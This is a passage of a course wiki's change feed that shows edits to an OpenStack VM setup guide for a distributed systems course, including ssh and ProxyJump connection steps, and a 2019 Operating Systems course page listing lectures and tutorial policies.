You can use your access.scs.carleton.ca account to perform a ProxyJump into Carleton’s internal network. You can do so by modifying the ssh command from before as follows: &amp;lt;code&amp;gt;ssh -J scsname@access.scs.carleton.ca student@my.floating.ip&amp;lt;/code&amp;gt;, where you replace &amp;lt;code&amp;gt;scsname&amp;lt;/code&amp;gt; with your Carleton username. You will be prompted to enter a password &#039;&#039;&#039;twice&#039;&#039;&#039;. The first time, enter your SCS password. The second time, enter the password you chose for the &amp;lt;code&amp;gt;student&amp;lt;/code&amp;gt; user on your VM.&lt;br /&gt;
&lt;br /&gt;
If you are using &amp;lt;code&amp;gt;PuTTY&amp;lt;/code&amp;gt;, note that it has no direct equivalent of a ProxyJump. Instead, you can consult [https://superuser.com/questions/1448180/how-to-setup-proxy-jump-with-putty this link] for help.&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=DistOS_2021F:_Using_Openstack&amp;diff=23239</id>
		<title>DistOS 2021F: Using Openstack</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=DistOS_2021F:_Using_Openstack&amp;diff=23239"/>
		<updated>2021-09-09T19:19:08Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: Created page with &amp;quot;= OpenStack =  We will be using OpenStack to spin up virtual machine instances for use during the implementation experiences and (optionally) the course project if you choose...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= OpenStack =&lt;br /&gt;
&lt;br /&gt;
We will be using OpenStack to spin up virtual machine instances for use during the implementation experiences and (optionally) the course project if you choose to include an implementation component. In the first implementation experience, you will be working with a personal VM hosted on OpenStack. To get set up, follow the instructions below.&lt;br /&gt;
&lt;br /&gt;
== Getting Started ==&lt;br /&gt;
&lt;br /&gt;
To get started and connect to the OpenStack dashboard, you will first need to update your SCS account and connect to Carleton’s intranet via a VPN. You can see [https://carleton.ca/scs/tech-support/scs-open-stack/openstack-technical-support/ the official guide provided by SCS technical support] for more details.&lt;br /&gt;
&lt;br /&gt;
First, connect to the Carleton VPN by following the [https://carleton.ca/its/help-centre/remote-access/ remote access VPN instructions]. Once you are connected, you will likely need to update your SCS account to be added to our course’s OpenStack project. You can do so by [https://www.scs.carleton.ca/webacct clicking this link] and following the instructions. You &#039;&#039;&#039;do not&#039;&#039;&#039; need to change your SCS password, but you can if you like.&lt;br /&gt;
&lt;br /&gt;
Once you are connected to the VPN and your account has been updated, you can access [https://openstack-stein.scs.carleton.ca/ our course’s OpenStack dashboard]. After clicking the link, you may need to select the COMP4000A-F21 project from the dropdown menu in the top left.&lt;br /&gt;
&lt;br /&gt;
== Setting Up Your Personal VM ==&lt;br /&gt;
&lt;br /&gt;
To set up your VM, navigate to &amp;lt;code&amp;gt;Compute -&amp;amp;gt; Instances&amp;lt;/code&amp;gt; using the menu on the left-hand side of the page. Then click the &amp;lt;code&amp;gt;Launch Instance&amp;lt;/code&amp;gt; button near the top right. Then, provide the following information:&lt;br /&gt;
&lt;br /&gt;
* Under &amp;lt;code&amp;gt;Details&amp;lt;/code&amp;gt;, set &amp;lt;code&amp;gt;Instance Name&amp;lt;/code&amp;gt; to &amp;lt;code&amp;gt;firstname-lastname&amp;lt;/code&amp;gt; where you sub in your first and last name respectively. You &#039;&#039;&#039;must&#039;&#039;&#039; follow this naming convention, otherwise your instance may be deleted without notice.&lt;br /&gt;
* Under &amp;lt;code&amp;gt;Source&amp;lt;/code&amp;gt; select &amp;lt;code&amp;gt;Instance Snapshot&amp;lt;/code&amp;gt; from the &amp;lt;code&amp;gt;Boot Source&amp;lt;/code&amp;gt; dropdown. Then scroll down and select &amp;lt;code&amp;gt;COMP4000-studentvm-v1&amp;lt;/code&amp;gt; by clicking the corresponding arrow on the right hand side.&lt;br /&gt;
* Under &amp;lt;code&amp;gt;Flavor&amp;lt;/code&amp;gt; click the arrow on the right hand side of &amp;lt;code&amp;gt;comp4000a-f21.4gram.8gdisk.2cpu&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Under &amp;lt;code&amp;gt;Security Goups&amp;lt;/code&amp;gt; click the arrow on the right hand side of &amp;lt;code&amp;gt;ping-ssh-egress&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Finally, click the blue &amp;lt;code&amp;gt;Launch Instance&amp;lt;/code&amp;gt; button.&lt;br /&gt;
&lt;br /&gt;
After following these steps, you should see your named instance show up in the list (likely at the top). Once you locate your instance, select &amp;lt;code&amp;gt;Associate Floating IP&amp;lt;/code&amp;gt; using the dropdown on the right-hand side. You will be prompted to select an IP address starting in &amp;lt;code&amp;gt;134&amp;lt;/code&amp;gt;. &#039;&#039;&#039;This is the IP address you will use to connect to your VM later.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Connecting to Your Personal VM ==&lt;br /&gt;
&lt;br /&gt;
You can connect to your personal VM using an ssh client. On Linux, MacOS, and WSL, you can do this using the &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt; command like &amp;lt;code&amp;gt;ssh student@my.floating.ip&amp;lt;/code&amp;gt;, where you replace &amp;lt;code&amp;gt;my.floating.ip&amp;lt;/code&amp;gt; with your floating IP from earlier. You will then be prompted to enter your password, which is just &amp;lt;code&amp;gt;student&amp;lt;/code&amp;gt; by default.&lt;br /&gt;
&lt;br /&gt;
On Windows without WSL, you can use an ssh client like [https://www.putty.org/ &amp;lt;code&amp;gt;PuTTY&amp;lt;/code&amp;gt;]. After downloading PuTTY, you can configure it to connect to your VM’s floating IP.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;NOTE:&#039;&#039;&#039; You must either be connected to the Carleton VPN or perform a ProxyJump in order to ssh into your VM. We recommend avoiding the VPN and using a ProxyJump instead, as this will lighten the load on Carleton’s network.&lt;br /&gt;
&lt;br /&gt;
=== Performing a ProxyJump Using SSH ===&lt;br /&gt;
&lt;br /&gt;
This step is only necessary if you wish to connect to the VM without using the Carleton VPN.&lt;br /&gt;
&lt;br /&gt;
You can use your access.scs.carleton.ca account to perform a ProxyJump into Carleton’s internal network. You can do so by modifying the ssh command from before as follows: &amp;lt;code&amp;gt;ssh -J scsname@access.scs.carleton.ca student@my.floating.ip&amp;lt;/code&amp;gt;, where you replace &amp;lt;code&amp;gt;scsname&amp;lt;/code&amp;gt; with your Carleton username. You will be prompted to enter a password &#039;&#039;&#039;twice&#039;&#039;&#039;. The first time, enter your SCS password. The second time, enter the password you chose for the &amp;lt;code&amp;gt;student&amp;lt;/code&amp;gt; user on your VM.&lt;br /&gt;
&lt;br /&gt;
If you are using &amp;lt;code&amp;gt;PuTTY&amp;lt;/code&amp;gt;, note that it has no direct equivalent of a ProxyJump. Instead, you can consult [https://superuser.com/questions/1448180/how-to-setup-proxy-jump-with-putty this link] for help.&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_(Fall_2019)&amp;diff=22468</id>
		<title>Operating Systems (Fall 2019)</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=Operating_Systems_(Fall_2019)&amp;diff=22468"/>
		<updated>2019-09-24T23:39:31Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: /* Tutorial Grading */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Course Outline==&lt;br /&gt;
&lt;br /&gt;
[[Operating Systems (Fall 2019) Course Outline|Here]] is the course outline for COMP 3000: Operating Systems.&lt;br /&gt;
&lt;br /&gt;
==Lectures &amp;amp; Tests==&lt;br /&gt;
&lt;br /&gt;
Note that the topics below are primarily chapters from the class textbook, [http://pages.cs.wisc.edu/~remzi/OSTEP/ Operating Systems: Three Easy Pieces].  Note that while introductory and summary dialogues are not linked below, they are worth reading for an informal take on the material.&lt;br /&gt;
&lt;br /&gt;
Assigned readings are subject to change, please check this page each week.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;width: 100%;&amp;quot; border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;4&amp;quot; cellspacing=&amp;quot;0&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;th&amp;gt;&lt;br /&gt;
    &amp;lt;p align=&amp;quot;left&amp;quot;&amp;gt;Date&amp;lt;/p&amp;gt;&lt;br /&gt;
    &amp;lt;/th&amp;gt;&lt;br /&gt;
    &amp;lt;th&amp;gt;&lt;br /&gt;
    &amp;lt;p align=&amp;quot;left&amp;quot;&amp;gt;Topic&amp;lt;/p&amp;gt;&lt;br /&gt;
    &amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 4&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 1|Lecture 1]]: [http://pages.cs.wisc.edu/~remzi/OSTEP/intro.pdf Introduction]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 6&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 2|Lecture 2]]: [http://pages.cs.wisc.edu/~remzi/OSTEP/cpu-api.pdf Process API]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 11&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 3|Lecture 3]]: [http://pages.cs.wisc.edu/~remzi/OSTEP/cpu-intro.pdf Processes]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 13&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 4|Lecture 4]]: [http://pages.cs.wisc.edu/~remzi/OSTEP/file-intro.pdf Files]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 18&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 5|Lecture 5]]: [http://pages.cs.wisc.edu/~remzi/OSTEP/vm-intro.pdf Address Spaces] [http://pages.cs.wisc.edu/~remzi/OSTEP/dialogue-vm.pdf (Dialogue)]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 20&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 6|Lecture 6]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 25&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 7|Lecture 7]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 27&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 8|Lecture 8]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Oct. 2&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 9|Lecture 9]]: [http://pages.cs.wisc.edu/~remzi/OSTEP/file-devices.pdf I/O Devices], [http://pages.cs.wisc.edu/~remzi/OSTEP/file-disks.pdf Hard disk drives], [http://pages.cs.wisc.edu/~remzi/OSTEP/file-implementation.pdf Filesystem implementation], [http://pages.cs.wisc.edu/~remzi/OSTEP/file-journaling.pdf FSCK and Journaling]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Oct. 4&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 10|Lecture 10]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Oct. 9&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 11|Lecture 11]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Oct. 11&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 12|Lecture 12]]: Midterm Review&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Oct. 16&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Midterm Exam&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Oct. 18&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 13|Lecture 13]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Oct. 30&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 14|Lecture 14]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 1&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 15|Lecture 15]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 6&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 16|Lecture 16]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 8&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 17|Lecture 17]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 13&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 18|Lecture 18]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 15&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 19|Lecture 19]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 20&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 20|Lecture 20]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 22&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 21|Lecture 21]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 27&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 22|Lecture 22]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Nov. 29&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 23|Lecture 23]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Dec. 4&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F Lecture 24|Lecture 24]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;TBD&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Final Exam&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Tutorials==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note this has changed for Tutorials 3 and 4.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
You may complete tutorials in lab or on your own.  Submit your answers on culearn, they are due before the next week but are accepted with no grade penalty up until the related assignment is due.  (For example, Tutorials 1 and 2 must be completed before Assignment 1 is submitted.)&lt;br /&gt;
&lt;br /&gt;
Your answers will be graded based on participation, not understanding.  Basically, if you make a reasonable attempt at the whole tutorial you&#039;ll get 4/4.  Partial attempts will potentially be given partial credit; however, you may improve your tutorial mark as long as it is still being accepted.  Exceptions will be made only if there are extenuating circumstances.&lt;br /&gt;
&lt;br /&gt;
While you may collaborate with others and use outside resources, you should indicate the names of who you worked with and cite the sources you used.&lt;br /&gt;
&lt;br /&gt;
The words you submit should be your own.  Please don&#039;t copy-paste answers from others, because if you do, you are subject to being reported to the Dean for plagiarism.&lt;br /&gt;
&lt;br /&gt;
Note that your assigned TA will be marking your work.  You can find your TA by looking at the feedback portion of the &amp;quot;TA&amp;quot; grade item in cuLearn.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;width: 100%;&amp;quot; border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;4&amp;quot; cellspacing=&amp;quot;0&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;th&amp;gt;&lt;br /&gt;
    &amp;lt;p align=&amp;quot;left&amp;quot;&amp;gt;Date&amp;lt;/p&amp;gt;&lt;br /&gt;
    &amp;lt;/th&amp;gt;&lt;br /&gt;
    &amp;lt;th&amp;gt;&lt;br /&gt;
    &amp;lt;p align=&amp;quot;left&amp;quot;&amp;gt;Tutorials&amp;lt;/p&amp;gt;&lt;br /&gt;
    &amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 9-13&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Tutorial 1|Processes]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 16-20&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Tutorial 2|3000shell]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 23-27&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;[[Operating Systems 2019F: Tutorial 3|Memory &amp;amp; System Calls]]&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
      &amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;/tr&amp;gt;&lt;br /&gt;
    &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td&amp;gt;&lt;br /&gt;
      &amp;lt;p&amp;gt;Sept. 30-Oct. 4&lt;br /&gt;
      &amp;lt;/p&amp;gt;&lt;br /&gt;
